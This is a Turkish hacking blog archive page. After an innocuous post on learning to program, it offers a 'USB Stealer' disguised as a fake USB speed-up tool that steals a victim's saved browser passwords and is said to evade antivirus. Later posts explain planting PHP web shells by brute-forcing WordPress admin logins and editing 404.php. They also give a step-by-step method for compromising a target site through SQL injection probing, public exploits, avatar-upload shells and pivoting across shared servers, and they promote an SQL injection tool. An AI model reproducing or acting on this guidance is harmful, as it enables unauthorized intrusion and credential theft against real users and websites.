HackingSecurity etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster
HackingSecurity etiketine sahip kayıtlar gösteriliyor. Tüm kayıtları göster

4 Ocak 2015 Pazar

Programlama Dili Nasıl Öğrenilir ?

Programlama Dili Nasıl Öğrenilir ?

Son zamanlarda nedense en çok bu soru soruluyor ( Herhangi bir Programlama Dilini nasıl öğrenebilirim ? ) herkese ayrı ayrı yazmak istemedim buradan yazayım artık bu sayfanın linkini veririm
Ben Html , Php , Mysql ,Visual Basic [Daha Az bilgim olanlar] = [c++ / c# vb.net] Ben Genelde Web Dillerine Ağırlık verdim son zamanlarda kendimi Masaüstü Programcılığında Geliştirmek için visual basic 'e yöneldim.Zaten Bloğumu Takip Ediyorsanız projelerimden haberiniz mutlaka vardır.

Yukarıda Saydığım Dillerinde Bilgi sahibiyim Peki onlarca Kod Nasıl mı Öğreniliyor ? 
Gelin Anlatayım.

1 -> Matematiğinize Güveniyormusunuz
2 -> Pratik Zekanıza Güveniyormusunuz
3 -> Hafızanız Kuvvetlimi 
4 -> Makale Okumak Canınızı Sıkıyormu
5 -> Araştırma Yapmayı Severmisiniz
6 -> Programlama Dilini Öğrenirsem Şunu Yapacağım Dediğiniz Oldumu
7 -> Anlama Kabilietiniz Yüksekmi
8 -> Aynı Şeyleri Yapmaktan Sıkılırmısınız 
9 -> Zaman Sizin İçin Değerlimi
10 -> manual

Şimdi Gelelim Açıklamaya Arkadaşlar


Programlama diline başlamadan önce web dillerinin atası olan HTML dilini dil demek bence yanlış olur Betiğini Öğrenmelisiniz 

HTML dili oldukça basittir, 1 saatte öğrenirsiniz deyip; ilk adımda ben şevkinizi kırayım
Ekmeğin bile çiğnenmeden yutulmadığı bir hayatta, 1 saatte meslek sahibi olunmaz, bu yüzden 1 hafta güzel güzel HTML dilini pekiştirin, ben 1 Hafta veriyorum, gerçi bu sizin anlama algılama kabiliyetinize bağlı.HTML ne kadar iyi kullanırsanız o kadar sağlıklı yerleşimler yaparsınız sayfanızda, işi bilenlerden CSS cümlesini duyar gibi oldum bile 
Css ile şimdi kafanızı bulandırmayın ilerleyen zamanlarda aşina olacak ve öğrenmeniz kolay olacaktır.

1 -> Matematiğinize Güveniyormusunuz ?
Matematik demek! mantık demek, düşünme demek, beyin egzersizi demek, bir dünya faydası vardır bu Matematik cümlesinin, ama nedense benim için ingilizce nasıl bir lisan ise, Matematikte öyleydi; bu yüzden bazen mantık hataları algoritma hataları yaptığım olmuştur.. oturun matematik çalışın demiyorum ama kendi düşüncem; matematiği iyi olan insanın mantıgı, pratik zekası, algoritma oluşturması, o kadar iyidir... bu yüzden nasıl bir programcı olabileceğinizi şimdiden azda olsa görebiliyorsunuz demektir.. bu hevesinizi kırmasın, emin olun benim matematiğim berbat bazen 2x2=2 dediğim olur.

2 -> Pratik Zekanıza Güveniyormusunuz ?
Ben şuna eminim beyin denilen bu organın sınırları yok arkadaşlar. kimi insanın saatlerce düşünüp içinden çıkamadığı kod blokları olabilir, ama siz o kodlardan belkide 1 dakika içersinde çıkabilir, yorumlayabilir, yeni birşey ekleyebilir veya bir çözüm üretebilirsiniz! neden pratik zeka ? bir firmada çalıştıgınızı düşünün sizden istenilen birşeye 1 gün sonramı cevap vermeniz iyidir, yoksa anındamı veya bir probleme 1 hafta kafa yormakmı daha iyi, yoksa anında müdehalemi ? işte burada pratik zeka işin içine giriyor, şimdi bir cümlede değişiklik yapacaksınız, program cümle içersindeki rakamları silip onların yerine ( - ) koyacak, bunu hangi kodla yaparım diye düşündünüz aklınıza gelmedi, girdiniz google.com'a arama yaptınız siteyi buldunuz, sitedeki örnek kodları incelediniz en az 30 saniye kaybınız var;
30 Saniye nedir diyebilirsiniz ama işin derinliklerine inince hak vereceksiniz bana gün gelir 10 saniye bile degerli olur bu yüzden gördüğünüz kodların fotoğrafını çekin yani beyninize yerleştirin bir albüme fotoğraf koyarmışcasına; gözünüzün önüe gelsin lazım oldugunda pratik zeka daha ileri gitmeye gerek yok.

3 -> Hafızanız Kuvvetlimi ?
Hafıza olayıda ayrı bir vakka hafızanız kuvvetli ise şanslısınız sürekli site site dolaşmaz daha seri kod yazarsınız yazdıklarınızı tekrar tekrar yazın pratik yapın, faydasını göreceksiniz...

4 -> Makale Okumak Canınızı Sıkıyormu ?
Sorunun cevabı evet ise yazının devamını okumana hiç gerek yok :) sen bu işe başlama ;) kolay gele BB
Eğer hayır ise 10 puan aldın, buraya kadar okudun yukardaki yazılanlardada kendinden bahsedildiğini hissediyorsan devam et, bak ben sıkılıyormuyum yazarken; sende biraz birşeylerden feda ediver :)

5 -> Araştırma Yapmayı Severmisiniz ?
Bazen öyle bir araştırman gerekebilir ki 30 dakika 60 dakika falan değil, 1 hafta 2 hafta olabilir :) bu yüzden araştırmaktan sıkılmayacaksın, yeri gelecek net'te kaybolacaksın ama yinede sıkılmayacaksın, hedefine ulaşmadan pes edersen ileride büyük projelerde de pes edeceksin, gözün korkacak ona göre.

6 -> Programlama Dilini Öğrenirsem Şunu Yapacağım Dediğiniz Oldumu ?
Sende Programlama öğrenip bot yapacağımdan diyorsan yanlış yoldasın demektir, kimileri bot yapmaya başlayınca programlamayı öğrendiğini sanıyor veya direk bot yapmaya çalışarak, O güzel değerli zamanlarını boşa sarf ediyor ona göre bir şey yapmayacaksın öğrenince; her şeyi yapabileceğim diyerek başlayacaksın...

7 -> Anlama Kabilietiniz Yüksekmi
İşte altın kural; ANLAYACAKSIN, boş boş bakmayacaksın kodlara, öğrenirken uygulayacaksın, bir şey yapmaya başlamadan önce; kafan sakin olacak, rahat olacaksın, gergin olabilirsin hasta olabilirsin vs... oturma arkadaş bilgisayar başına çünkü dolu kafayla yaptığın projeden gün gelir kendin bile çıkamazsın.

8 -> Aynı Şeyleri Yapmaktan Sıkılırmısınız 
Copy/Paste teknolojisi biz programcılara göre birşey değil, bu yüzden aynı şeyi yaz; 10 kere yazsan ne olacak, sonuçta profesyonelliğe gitmeyi hedefliyorsunuz ;
veya yazdıklarını bir yerlerde elini altında tut ama arada bir pratik yap; sıkılma zaten Kodlamanın bence açılımı Sıkılmamak olmalıymış..

9 -> Zaman Sizin İçin Değerlimi
Zaman günümüzdeki bazı arkadaşlar insanlar için değerli olmayabilir; programcı değillerdir, veya ne biliyim kendi yarattıkları programın zevkini çıkartmak onlara göre olmayabilir, ama senin amacın gayen bu işi öğrenmek; günlerce uğraşıp çok şahane bir program çıkartıp arkana yaslan ve zevkini çıkar, emin ol kendi yazdıgın programı test etmeyi hiç birşeye değişmeyeceksin... gelelim asıl konuya bu işte bazı şeylerden ödün vereceksin bunlar nelerdir madde madde yazalım 

Bilgisayarda yapılamaması gereken kurallarım benim
1-> Oyun oynamak bana göre değil, çünkü beni geliştirmekten çok geriletir ve unutturur, programlama dilleri nankördür arkadaş; verdiğin emeği hiçe sayar unutturur kendisini; bu yüzden uzun süreli bir programa bir oyuna vs.. bağımlı kalma 
2-> Facebook; sadece zaman kaybı benim için; sizde neleri çok yapıyorsanız dikkat edin ve boşa harcadıgınız zamanı Programlama Diliniz
'de pratik yaparak degerlendirin.

Ne yani bunları yapmayalım mı ?
Tabiki yapın ama şu zamanlarda yapmaya özen gösterin
1-> Yazmaktan bunaldınız kafa dağıtmak için
2-> Gerginsiniz film izleyin
3-> Yorgunsunuz ve bir şey yapmak istemiyorsunuz dinlenin oyun oynayın film izleyin

Gelelim buradaki en güzel kısıma; ödün vermeniz gerekmekte demiştim ve kendi yaptıklarımı yazmıştım 
üst satırlarda şimdi genel olarak konuşalım

1-> Arkadaşlarınızla zaman geçirmekten 
2-> Ailenizle zaman geçirmekten
3-> Kız arkadaşınızla zaman geçirmekten
4-> Eğlence gezme tozma vs..
Bu 4 maddeden birazcık kısın ne olacak ???  bu cümleye hak veren arkadaşlar
yorum yazarsa sevinirim rüyamızda kod yazıyoruz siz neyin derdindesiniz.

10 -> manual
Bu uzun yazıyı okuyacağına net'te dolaşıp bişiler okusaydın birşeyler öğrenmiş olup kafanı bu yazılmış olan boş satırlarla doldurmamış olurdun.Yinede buraya kadar okumak demek; sende ışık var demektir...

Son Olarak -> Çok geceler sabahlayacaksınız (Şuan Saat 03:30 bu yazı haricinde devam ettiğim bir php projem var.), evliyseniz eşinizle bu yüzden sürekli tartışacaksınız + sosyal hayatınız eskisine oranla çoook zayıflayacak, eskiden arkadaşınız, eşiniz dostunuzla geçirdiğiniz zamanınızı bilgisayar üzerinde geçireceksiniz. belki sevgilinizden , annenizden babanızdan çok bilgisayarınızla vakit geçireceksiniz.

Yazar: Unknown4.1.15

2 Kasım 2014 Pazar

USB Stealer / Fake USB Hızlandırıcı İndir


USB Stealer ile Webbrowser 'a Kayıtlı Olan Tüm Kullanıcı
Adlarını ve Şifrelerini Ele Geçirebilirsiniz.

Her zaman Bilgisayara Uazaktan Müdahale edecek değiliz elimize fırsat geçtiyse 1 dk dan daha kısa sürede USB miz yanımızda olduğu sürece Şifreleri ele geçirebiliriz.
Hatta Kurbanla yan yana otururken ve Kurban bizi izlerken o daha hiçbir şey anlamadan
Usb Stealerimizi Kullanabiliriz.
USB nizi Takıp ilk iş olarak Daha hızlı çalışması için USB Hızlandırmayı kullanalım diyerek
USB Hızlandır.exe 'yi Çalıştırırız
En Son Yazıcak olan "Hizlandirma islemi icin bir tusa basin / Program Sona Erecektir" yazısından sonra Herhangi Bir Tuşa Basarsanız USB 'nizde  log.txt Şeklinde içerisinde
Şifrelerin olduğu Dosyamız Oluşacaktır.


<--- Desteklediği Tarayıcılar --->
Opera
Firefox
Google Chrome
İnternet Explorer

USB Stealer Bat Komutları ile Yazılmıştır Ancak .bat şeklindeki çıktı inandırıcı olmadığı için .exe olarak antivirüslere yakalanmayacak ve otomatik yönetici izni gerektirecek şekilde
özel olarak derlenmiştir.

Rar Şifresi : KorkusuzYazar

Yazar: Unknown2.11.14

26 Ekim 2014 Pazar

Shell Nedir ? / Shell Nasıl Upload Edilir ? / Shell Ne İşe Yarar ?

Shell Nedir ? / Shell Nasıl Upload Edilir ? / Shell Ne İşe Yarar ?

Shell Genellikle php ile kodlanmış her hangi bir siteye 
upload edildikten sonra kullanabileceğimiz içerisinde 

Siteye dosya upload etme
Sitedeki dosyaları editleyebilme
Sitedeki dosyaları silme

Gibi işlemleri Kolaylıkla gerçekleştirebileceğimiz Web Hack Tool 'dur

Tabiki yukarıda yazdığım ;
Siteye dosya upload etme - Sitedeki dosyaları editleyebilme - Sitedeki dosyaları silme
Her Shell 'de olan Temel Özelliklerdir.

Ayriyeten Gelişmiş Shell 'lerde
Config Çekme
Symlink Çekme
Toplu İndex Basabilme (Mass İndex)
Mysq 'a Bağlanabilme
Cpanel Brute
Safe Mod Bypass
Gibi Özellikleri Olan Priv Sheller 'de Mevcuttur.

Tabiki Shell 'i Hedef Siteye veya hedef sitenin serverındaki herhangi bir siteye
Upload Edemediğimiz sürece Hiç Bir işimize yaramaz.

Shell Upload edebilmek için Siteyi Kodlayan Webmasterın bıraktığı güvenlik açıklarını kullanırız.
Genellikle Shell upload edebilmek için 
Sitede Resim veya Dosya Upload Edebileceğimiz bir yer bulmamız gerekir.

Son Zamanlarda ise Yaygın olarak kullanılan Brute Force ile Hedef Site Değilde Rastgele sitelerin Admin id - Pass Kırıp Admin Panelinden Giriş Yaparak 404.php nin Kodlarını Silip Kendi Shell Kodlarımızı Yerleştirip Kaydedebiliriz Böylece site.com/wp-content/themes/temaadı/404.php (Wordpress Olduğunu Farzettim) şeklinde Shell 'e Ulaşabiliriz.

Shell Upload için bir çok Yöntem var Daha ayrıntılı anlatabilmek için Shell Upload Yöntemleri Konusunu bir Başka Yazımda Ele almaya karar verdim.

Shell Nedir / Shell Nasıl Upload Edilir / Shell Ne İşe Yarar Konumuzun Sonuna Geldik 
Kendinize iyi Bakın

[NEO] - NEO34


Yazar: Unknown26.10.14

10 Eylül 2014 Çarşamba

Hedef Site Hackleme - Site Açık Tarama / Hack Dersleri

Hedef Site Hackleme - Site Açık Tarama
Hedef Site Hacklemek Kolay İş Değildir.
Açık Her Sistemde Mevcuttur Ancak Önemli Olan Açığı Görebilmektir.

Hedef Site Hacklemek İçin Nasıl Bir Yol İzlemeliyim ?
Bu Yazımda bu Konuya Değinmeyi Uygun Buldum
Hadi Lafı Uzatmadan Başlayalım

Hedef Sitenizi Belirleyin
Şimdi 4 Adet Sormamız Gereken Soru Var

İlk Sorumuz Hedef Sitenin Scripti Hangi Dil ile Yazılmış ?
Html ile oluşturulmuşsa açık olma ihtimali Php ve asp ye oranla çok Daha Düşüktür.
Hedef Sitemizin php ile Yazıldığını Farzedelim.
Eğer Script php ile Yazılmış ise %80 SQL Açığı Mevcuttur.
Kategoriler Arasında Gezmeye Başlayalım Eğer Sitemiz hedefsite.com/konu.php?id=12 Gibi Biçimde ise Linkin Sonuna 'a Ekliyoruz ve Enter ile giriyoruz
Eğer Websitesi MySql Hatası Verdi İse SQL Açığı Mevcuttur Diyebiliriz.
Konumdaki Programı Kullanarak Admin ID - Şifre , Admin Paneli Öğrenebilirsiniz.
Tabi Mysql Hatası Vermeyebilir de SQL açığı Mevcut Değil ise Diğer Sorumuzu Sorarak Devam Edelim.

Hedef Site Hangi Scripti ve Scriptin Hangi Sürümünü Kullanıyor ?
Mesela Benim Hedef Sitem Mybb 1.6.12 Kullanıyor
Yapmam Gereken Daha Önce Scriptin İnceleyip Açık Bulan Kişi Olmuş mu Araştırmak Bunun için SCRİPT + SÜRÜM + EXPLOİT yazıp Google 'da Arıyorum.
Mybb 1.6 Exploit
Ben Arama Sonucunda SQL ve XSS açıklarının Mevcut Olduğunu Öğrendim Bu Açıkları Kullanabilirim.
Peki Exploit 'te Bulamadım Şimdi Ne Yapacağım Pes Mi Edeceğim ?
Kesinlikle Hayır !

Sitede Kullanılan Script'te Üye Olmak İçin Panel Mevcut ise Üye Olurum
Üye Panelimde Profil Resmi Upload Edebilmem İçin Yer Mevcut ise  Shell Upload Etmeye Çalışırım
Bundanda Bir Sonuç Alamadıysam

Server 'da Başka Hangi Siteler Var ?
Reserve IP Lookup İle Sitenin Bulunduğu Serverdaki Diğer Sitelerde Aynı İşlemleri Uygulayarak Server'a Shell Sokmaya Çalışırım Eğer Serverdaki Herhangi Bir Siteye Shell Upload Edebilirsem Serverda Root olup
Hedef Siteme Ulaşabilirim

[NEO] - NEO34

Yazar: Unknown10.9.14

31 Ağustos 2014 Pazar

jSQL Java Sql İnjection Programı / Havij Benzeri Program

jSQL Java Sql İnjection Programı / Havij

jSQL Java Sql İnjection Programı / Havij Benzeri Program
jSQL Java İle yazılmış Sql Açıklı Siteleri Hacklememiz için Kodlanmış Bir Programdır.
Havij Bazen Sorunlar Çıkartabilmekte , Cracklerde Virüs Dahi Olabilmekte.
jSQL Sağlam Bir Program Havijin çözemediği DataBase'leri Çözdüğünü Biliyorum.
Benim Kendi Kullandığım Bir Program Ben Çok Memnunum Eminim Sizlerde Beğeneceksiniz.
<- ÖZELLİKLER ->
Sql İnjection
Admin Panel Bulucu
md5 , md2 , sha-1 , sha-256 , sha-384 , sha-512 , mysql hash'larını Brute Yöntemi ile Kesin Kırabilme

Base64 Encode - Decode
hex Encode - Decode
url Encode - Decode
html Encode - Decode
base64(zipped) Encode - Decode
hex(zipped) Encode - Decode
md5 hash
md2 hash
sha-1 hash
sha-256 hash
sha-384 hash
sha-512 hash
mysql hash
Oluşturabilme Özelliği

Rar Şifresi : KorkusuzYazar

Yazar: Unknown31.8.14